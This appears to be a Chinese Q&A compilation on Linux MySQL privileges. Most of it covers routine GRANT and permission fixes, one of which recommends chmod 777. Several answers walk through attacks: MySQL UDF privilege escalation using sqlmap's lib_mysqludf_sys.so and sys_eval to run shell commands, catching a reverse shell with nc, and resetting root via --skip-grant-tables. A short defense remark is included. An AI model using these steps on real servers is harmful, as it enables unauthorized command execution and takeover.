linuxmysql提權
一、KILL掉系統里的MySQL進程
php">killall-TERMmysqld
二、用以下命令啟動MySQL,以不檢查許可權的方式啟動
safe_mysqld–skip-grant-tables&
三、用空密碼方式使用root用戶登錄 MySQL
mysql-uroot
四、修改root用戶的密碼
mysql>updatemysql.usersetpassword=PASSWORD(『新密碼』)whereUser=』root』;
mysql>flushprivileges;
mysql>quit
⑵ linux+mysql怎麼提權
首先反彈一個shell會本地,用nc監聽。uname -a查看linux版本,再查找相應exp。一般來說,搜集一個linux下的敏感文件會有助於提權的, http://www.fuxkit.com/index.php/blog/archive/linux_hack_file_collection。自己試試收集,應該會有收獲的。
⑶ linux udf上傳不了怎麼提權
Linux操作系統自從誕生後,其高效的處理能力和卓越的穩定性受到廣大用戶的親睞,特別是伺服器市場,Linux佔有很大的份額。俗話說:樹大招風。Linux在伺服器領域的廣泛應用使得Linux的安全也受到了前所未有的挑戰。針對Linux的滲透與攻擊手段也越來越多,滲透Linux最常見的手段就是MySQL udf提權。
眾所周知,MySQL是一款免費的、開源的資料庫伺服器軟體。其安全性也十分高,因此很多Linux廠商都將其內建在操作系統,特別是一些livecd或者liveDVD。由於MySQL在Linux上的廣泛應用,使得MySQL也成為安全界重點研究的對象,udf是MySQL的一個共享庫,通過udf創建能夠執行系統命令的函數sys_exec、sys_eval,使得入侵者能夠獲得一般情況下無法獲得的shell執行許可權。這對於伺服器來說是十分危險的。那麼入侵者究竟是怎樣獲得這個許可權的呢?換句話說是如何安裝這個函數的呢?下面我們可以演示一下
操作系統:backtrack5 r2
平台:Apache+MySQL+PHP
安裝這幾個函數,必須用到lib_mysqludf_sys.so(windows是對應的dll文件),為方便大家,我就直接作為附件上傳。lib_mysqludf_sys_0.rar下載之後,你可以選擇通過源代碼建構so文件,也可以直接復制so文件夾下的文件。
首先,開啟bt5上的Apache服務和MySQL服務,鍵入"/etc/init.d/apache2 restart"開啟Apache服務,MySQL服務可以通過開始菜單來啟動,如下圖所示:
其實,Apache也可以通過菜單啟動,上圖中的httpd的子菜單就可以啟動,我比較習慣從命令行啟動而已。
我們可以訪問127.0.0.1來查看Apache是否啟動成功,如下圖:
沒有問題,啟動成功
然後,打開終端,鍵入"mysql -uroot -ptoor"命令連接資料庫(注意,-u和-p參數後都不要帶空格),如果連接成功,將會出現mysql的提示符
緊接著,上傳lib_mysqludf_sys.so到/usr/lib/mysql/plugin,然後鍵入如下命令:
create function sys_eval returns string soname "lib_mysqludf_sys.so" (創建函數)
創建完成之後就可以通過select sys_eval("命令")執行,如下圖
執行ls命令後的結果
看到這里,你也許會說,不過就是執行了一個ls命令嗎?這有什麼大不了呢?的確,一個ls命令確實沒什麼大不了。但是這使入侵者獲得了一個執行shell的許可權,這種許可權可以執行任何可執行的文件,也就是說通過它可以為Linux安裝後門如使用nc等,而這無異於將伺服器拱手讓給他人。一般說來,伺服器會將PHP的sys_exec等函數禁用,但是udf方式繞過了這種限制,輕易獲得了shell。
說完了攻,我們來說說防。可以通過升級MySQL的版本或者禁用udf功能來實現針對udf攻擊的防禦。
⑷ linux用命令怎麼修改mysql用戶的許可權
mysql更改用戶許可權
This entry was posted by admin Monday, 26 April, 2010
1.「grant all on *.* to root@』%』 identified by 『yourpassword』;」——這個還可以順帶設置密碼。
2.「flush privileges; 」——刷新一下,讓許可權生效。
mysql的一些其他的管理,可以用mysqladmin命令。可以用來設置密碼什麼的。
grant方面的詳細信息可以看我下面的轉載:
本文實例,運行於 MySQL 5.0 及以上版本。
MySQL 賦予用戶許可權命令的簡單格式可概括為:
grant 許可權 on 資料庫對象 to 用戶
一、grant 普通數據用戶,查詢、插入、更新、刪除 資料庫中所有表數據的權利。
grant select on testdb.* to common_user@』%』
grant insert on testdb.* to common_user@』%』
grant update on testdb.* to common_user@』%』
grant delete on testdb.* to common_user@』%』
或者,用一條 MySQL 命令來替代:
grant select, insert, update, delete on testdb.* to common_user@』%』
⑸ linux下mysql 許可權設置(sugarcrm)
不是mysql許可權的問題 是你php文件和目錄的許可權問題。
chown root:root /path/to/sugarcrm/ -R
chmod 777 /path/to/sugarcrm/ -R
⑹ linux mysql udf提權漏洞怎麼辦
在mysql庫下必須有func表,並且在‑‑skip‑grant‑tables開啟的情況下,UDF會被禁止;
過程: 得到插件庫路徑 找對應操作系統的udf庫文件 利用udf庫文件載入函數並執行命令
1,得到插件庫路徑
?
1
2
3
4
5
6
7
mysql> show variables like "%plugin%";
+---------------+-----------------------+
| Variable_name | Value |
+---------------+-----------------------+
| plugin_dir | /usr/lib/mysql/plugin |
+---------------+-----------------------+
1 row in set (0.00 sec)
2,找對應操作系統的udf庫文件
因為自己測試,看了下自己系統的版本,64位
?
1
2
root@bt:~# uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux
對於udf文件,在sqlmap工具中自帶就有,只要找對應操作系統的版本即可
?
1
2
3
4
5
6
root@bt:/pentest/database/sqlmap/udf/mysql# ls
linux windows
root@bt:/pentest/database/sqlmap/udf/mysql/linux# ls
32 64
root@bt:/pentest/database/sqlmap/udf/mysql/linux/64# ls
lib_mysqludf_sys.so
3,利用udf庫文件載入函數並執行命令
首先要得到udf庫文件的十六進制格式,可在本地通過
⑺ linux mysql 資料庫許可權
hi 樓主,在資料庫中創建包含很多,視圖,索引,臨時表的創建許可權都能分開賦予,你可以執行 show privileges 來查看許可權參數,我這邊就以創建表為例,只包含查詢表功能,其他修改,刪除,備份沒有許可權;以下是步驟:
1,create user 'tom'@'%' identified by '123456';---創建用戶,無許可權;
2, grant create,select on wangxh2.* to tom;-----把wangxh2庫的所有表的創建和查詢賦予tom
3,flush privileges;-----刷新許可權表才能起效
接下來是測試:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| test |
| wangxh2 |
+--------------------+
3 rows in set (0.06 sec)
mysql> use wangxh2
Database changed
mysql> show tables;
+-------------------+
| Tables_in_wangxh2 |
+-------------------+
| test |
+-------------------+
1 row in set (0.00 sec)
mysql> drop test;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'test' at line 1
mysql> drop table test;
ERROR 1142 (42000): DROP command denied to user 'tom'@'localhost' for table 'test'
mysql> select count(*) from test;
+----------+
| count(*) |
+----------+
| 33554432 |
+----------+
1 row in set (0.01 sec)
mysql> insert into test values(1);
ERROR 1142 (42000): INSERT command denied to user 'tom'@'localhost' for table 'test'
mysql> delete from test;
ERROR 1142 (42000): DELETE command denied to user 'tom'@'localhost' for table 'test'
mysql> update test set id=1;
ERROR 1142 (42000): UPDATE command denied to user 'tom'@'localhost' for table 'test'
mysql> create table test1 (id int);
Query OK, 0 rows affected (0.02 sec)
mysql> insert into test1 values(1);
ERROR 1142 (42000): INSERT command denied to user 'tom'@'localhost' for table 'test1'
[mysql@localhost ~]$ mysqlmp -u tom -paidengshan wangxh2 >/home/mysql/aa.sql
mysqlmp: Got error: 1044: Access denied for user 'tom'@'%' to database 'wangxh2' when using LOCK TABLES
[mysql@localhost ~]$
-----------------------------------------------------------------------------------------
以上測試發現,tom對wangxh2有建表,查詢表的許可權,但是修改,刪除,新增,備份都沒有許可權,達到你的需求了
⑻ 小白請教 LINUX下MYSQL遇到的困難
ll /var/run/ |grep mysqld --color
看下目錄mysql是否有許可權
chown mysql.mysql /var/run/mysqld
chmod 755 /var/run/mysqld/
/etc/init.d/mysqld restart
看/etc/my.cnf錯誤日誌配置文件在哪裡
err-log=/var/log/mysqld.log
more /var/log/mysqld.log
可以排查下什麼錯誤
⑼ Linux下MYSQL 資料庫許可權問題如何解決
那就是資料庫許可權的問題,而不是linux,資料庫是分許可權滴,有的可讀,有的可寫,有的只讓你讀某個表。。。。總之資料庫也是許可權嚴格,確認你是賬號密碼沒問題?如果是最高許可權無法進入,建議重新安裝(如果沒數據的話)。
去看看lamp相關教程!弄個phpmyadmin,可視化,就像mssql那麼簡單處理!